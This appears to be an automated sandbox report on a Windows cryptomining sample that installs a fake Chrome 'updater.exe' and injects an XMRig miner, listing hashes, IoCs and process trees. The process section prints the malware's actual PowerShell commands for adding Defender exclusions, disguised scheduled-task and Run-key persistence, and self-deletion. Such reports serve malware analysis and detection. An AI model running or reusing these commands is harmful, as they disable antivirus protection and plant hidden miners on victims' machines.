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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
438s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2816 created 1376 2816 qM5GMXBk6hJE6Y5e (29).exe 6 PID 2816 created 1376 2816 qM5GMXBk6hJE6Y5e (29).exe 6 PID 2816 created 1376 2816 qM5GMXBk6hJE6Y5e (29).exe 6 PID 2816 created 1376 2816 qM5GMXBk6hJE6Y5e (29).exe 6 PID 2080 created 1376 2080 updater.exe 6 PID 2080 created 1376 2080 updater.exe 6 PID 2080 created 1376 2080 updater.exe 6 PID 2080 created 1376 2080 updater.exe 6 PID 2808 created 1376 2808 conhost.exe 6 PID 2080 created 1376 2080 updater.exe 6 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral29/memory/1984-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/1984-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2828 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2080 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2540 taskeng.exe -
resource yara_rule behavioral29/memory/1984-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/1984-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2080 set thread context of 2808 2080 updater.exe 48 PID 2080 set thread context of 1984 2080 updater.exe 52 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (29).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2592 schtasks.exe 2756 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1296 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00b82f2c1951da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2816 qM5GMXBk6hJE6Y5e (29).exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2992 powershell.exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2780 powershell.exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2816 qM5GMXBk6hJE6Y5e (29).exe 2584 powershell.exe 2080 updater.exe 2080 updater.exe 1220 powershell.exe 2080 updater.exe 2080 updater.exe 944 powershell.exe 2080 updater.exe 2080 updater.exe 2080 updater.exe 2080 updater.exe 2808 conhost.exe 2808 conhost.exe 2080 updater.exe 2080 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2992 powershell.exe Token: SeDebugPrivilege 2780 powershell.exe Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 1220 powershell.exe Token: SeDebugPrivilege 944 powershell.exe Token: SeDebugPrivilege 2080 updater.exe Token: SeAssignPrimaryTokenPrivilege 1296 WMIC.exe Token: SeIncreaseQuotaPrivilege 1296 WMIC.exe Token: SeSecurityPrivilege 1296 WMIC.exe Token: SeTakeOwnershipPrivilege 1296 WMIC.exe Token: SeLoadDriverPrivilege 1296 WMIC.exe Token: SeSystemtimePrivilege 1296 WMIC.exe Token: SeBackupPrivilege 1296 WMIC.exe Token: SeRestorePrivilege 1296 WMIC.exe Token: SeShutdownPrivilege 1296 WMIC.exe Token: SeSystemEnvironmentPrivilege 1296 WMIC.exe Token: SeUndockPrivilege 1296 WMIC.exe Token: SeManageVolumePrivilege 1296 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1296 WMIC.exe Token: SeIncreaseQuotaPrivilege 1296 WMIC.exe Token: SeSecurityPrivilege 1296 WMIC.exe Token: SeTakeOwnershipPrivilege 1296 WMIC.exe Token: SeLoadDriverPrivilege 1296 WMIC.exe Token: SeSystemtimePrivilege 1296 WMIC.exe Token: SeBackupPrivilege 1296 WMIC.exe Token: SeRestorePrivilege 1296 WMIC.exe Token: SeShutdownPrivilege 1296 WMIC.exe Token: SeSystemEnvironmentPrivilege 1296 WMIC.exe Token: SeUndockPrivilege 1296 WMIC.exe Token: SeManageVolumePrivilege 1296 WMIC.exe Token: SeLockMemoryPrivilege 1984 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2780 wrote to memory of 2592 2780 powershell.exe 32 PID 2780 wrote to memory of 2592 2780 powershell.exe 32 PID 2780 wrote to memory of 2592 2780 powershell.exe 32 PID 2828 wrote to memory of 2776 2828 cmd.exe 33 PID 2828 wrote to memory of 2776 2828 cmd.exe 33 PID 2828 wrote to memory of 2776 2828 cmd.exe 33 PID 2584 wrote to memory of 2496 2584 powershell.exe 40 PID 2584 wrote to memory of 2496 2584 powershell.exe 40 PID 2584 wrote to memory of 2496 2584 powershell.exe 40 PID 2540 wrote to memory of 2080 2540 taskeng.exe 38 PID 2540 wrote to memory of 2080 2540 taskeng.exe 38 PID 2540 wrote to memory of 2080 2540 taskeng.exe 38 PID 944 wrote to memory of 2756 944 powershell.exe 45 PID 944 wrote to memory of 2756 944 powershell.exe 45 PID 944 wrote to memory of 2756 944 powershell.exe 45 PID 2080 wrote to memory of 2808 2080 updater.exe 48 PID 1748 wrote to memory of 1296 1748 cmd.exe 50 PID 1748 wrote to memory of 1296 1748 cmd.exe 50 PID 1748 wrote to memory of 1296 1748 cmd.exe 50 PID 2080 wrote to memory of 1984 2080 updater.exe 52 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1376
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2592
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1220
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2756
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1296
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2808
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:940
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2776
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2080
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C:\Windows\system32\taskeng.exetaskeng.exe {90CA95F2-8428-4D2F-9AE7-C2782782773B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
221KB
MD50ff0b83a6c024b4e306ea56ecb189f26
SHA1a105aa9a5b3a0e44b521461a18945d8ff235395c
SHA25690385b996fcfb507773aa7b0d00ba7be07a962e46387416fb3e4b47e57e370dc
SHA512a94202f5e4a761b55dfe2a093a8d8964c16036abd4d64fa2fad7140de47734e91b426a340459b0cfc610abff90043ab23e1a3a5b580c8137e3b96395ba562ac9
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Filesize
171KB
MD5be645fef3b869737479bc8efda809576
SHA1e65368a800539fe1e8275c1f52d5611ce6b8f520
SHA256bae9773527b30693a5f245e37c827b261845c9822cf97bc4d8fe03fbbed5e81f
SHA512e084bc6af551d5839f2ca5908f61d6484deb1d875c0435ef905bae8e396d736fa5c21478b5bcf956885cf4dc7c6a3dd7c9b0f5a3b547c8d293049e0155031ce4
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M32ELKPS1RUHOP3C8896.temp
Filesize7KB
MD5b2f4c6789ec81bc84d0dc0554c4021bb
SHA18fe10a29875f4ad8428cb50af421aed12bd84f4f
SHA2560d24df7ed53cf216734b5f573ec1b67a7395f64e4c6bfd47425c8e66a31f4f8b
SHA512670a7fa541ae028805d2b6009986f8516a8eb80c902f1f717fb3984c6ba02ea36bf82748dad8e13218e37e17f213fb540aba99da9a596f08059efabe19f97c87
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Filesize
269KB
MD57f617724122876bf8f8b8a6ac5ebcb81
SHA1a8646abbdb9fd9a1ffa3c92a29998cdd53b13459
SHA256f82fde1757347155d31f17368bcf02722847e5bd8004f9141545df9cfc8b0336
SHA51250885ffa7632613cd008852072205c44ec9cb55e24b1cf6012d8359ff9961e339dd0cf07f2db1eae7adf1cd6922654e108ffde3ba8115f5fd2528e0563567778